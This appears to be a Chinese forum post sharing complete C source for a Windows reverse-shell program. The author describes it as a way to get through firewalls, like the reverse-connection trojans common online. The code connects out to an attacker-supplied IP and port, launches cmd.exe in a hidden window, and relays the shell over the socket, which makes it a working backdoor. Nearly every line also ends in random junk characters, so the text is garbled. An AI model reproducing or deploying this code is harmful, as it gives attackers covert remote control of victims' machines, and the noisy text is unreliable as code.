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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b2G1@f.U  
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/* ============================== 8Q\ T,C  
Rebound port in Windows NT K\y W{y1  
By wind,2006/7 8Y&_X0T|  
===============================*/ se`^g ,]P  
#include ql(~3/kA_  
#include uL9O_a;!  
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#pragma comment(lib,"wsock32.lib") t)^18 z  
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void OutputShell(); | rwx; +  
SOCKET sClient; Be~In~~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [[' (,,r  
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void main(int argc,char **argv) meArS*d  
{ ;Wedj\Kkp  
WSADATA stWsaData; erdA ?  
int nRet; #v}pn2g%>  
SOCKADDR_IN stSaiClient,stSaiServer; _8&a%?R@W  
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if(argc != 3) uE-|]QQo  
{ ~U<=SyZYo  
printf("Useage:\n\rRebound DestIP DestPort\n"); WIYWql>*  
return; dj5@9X  
} B)=)@h[f  
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WSAStartup(MAKEWORD(2,2),&stWsaData);  RR[1mM  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $3yn-'o'A  
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stSaiClient.sin_family = AF_INET; 0q_?<v_ 1  
stSaiClient.sin_port = htons(0); /[,0,B9!3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pv@w 8*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @ *n oma  
{ , ^@z;xF  
printf("Bind Socket Failed!\n"); cxc-|Xori  
return; )8 %lZ {  
} !T$h? o  
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stSaiServer.sin_family = AF_INET; $64sf?aZ>#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?d`j}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8<PQ31  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xy+hrbD)j  
{ Uj twOv|pF  
printf("Connect Error!"); dr^MW?{a\  
return; QW= X#yrDO  
} p"d_+  
OutputShell(); dlCmSCp%  
} `{  ` W-C  
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void OutputShell() U)] }EgpF  
{ DQ hstXX  
char szBuff[1024]; iE,/x^&,&  
SECURITY_ATTRIBUTES stSecurityAttributes; A1F!I4p5  
OSVERSIONINFO stOsversionInfo; rHJtNN8$k  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q(/F7 "m  
STARTUPINFO stStartupInfo; v{oHC4  
char *szShell; r;SOAucX  
PROCESS_INFORMATION stProcessInformation; xaNM?]%  
unsigned long lBytesRead; 8om)A0S  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UqNUP+K  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *  \%b1  
stSecurityAttributes.lpSecurityDescriptor = 0; 8DcIM(;Z  
stSecurityAttributes.bInheritHandle = TRUE; _`+2e-  
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*_/n$& I%&  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F~wqt7*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Pv3qN{265  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y4Lh:;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2!? =I'uMA  
stStartupInfo.wShowWindow = SW_HIDE; ]+d> ;$O  
stStartupInfo.hStdInput = hReadPipe; 1R"Z+tNB  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (\H^ KEy  
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GetVersionEx(&stOsversionInfo); 51Q~/  
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switch(stOsversionInfo.dwPlatformId) #BwOWra  
{ j W/*-:  
case 1: A@)ou0[n@  
szShell = "command.com"; ];*? `}#  
break; W4$F\y  
default: %6E:SI 4  
szShell = "cmd.exe"; gp NAM"  
break; iHlee=}od  
} {\55\e/C,  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <F ?UdMT4y  
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send(sClient,szMsg,77,0); dyVfDF  
while(1) ?b xa k  
{ Pa-{bhllu)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jO}<W1qy  
if(lBytesRead) A 1B_EX.  
{ !xE@r,'oN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `c?8i  
send(sClient,szBuff,lBytesRead,0); 5Y r$tl\k  
} bFsJqA.A  
else Lrq e:\  
{ RKb (  
lBytesRead=recv(sClient,szBuff,1024,0); |vgYi  
if(lBytesRead<=0) break; Zb$P`~(%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `!y/$7p  
} f[-$##S.~  
} 5U6b\jxX  
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return; /7igPNhx  
}
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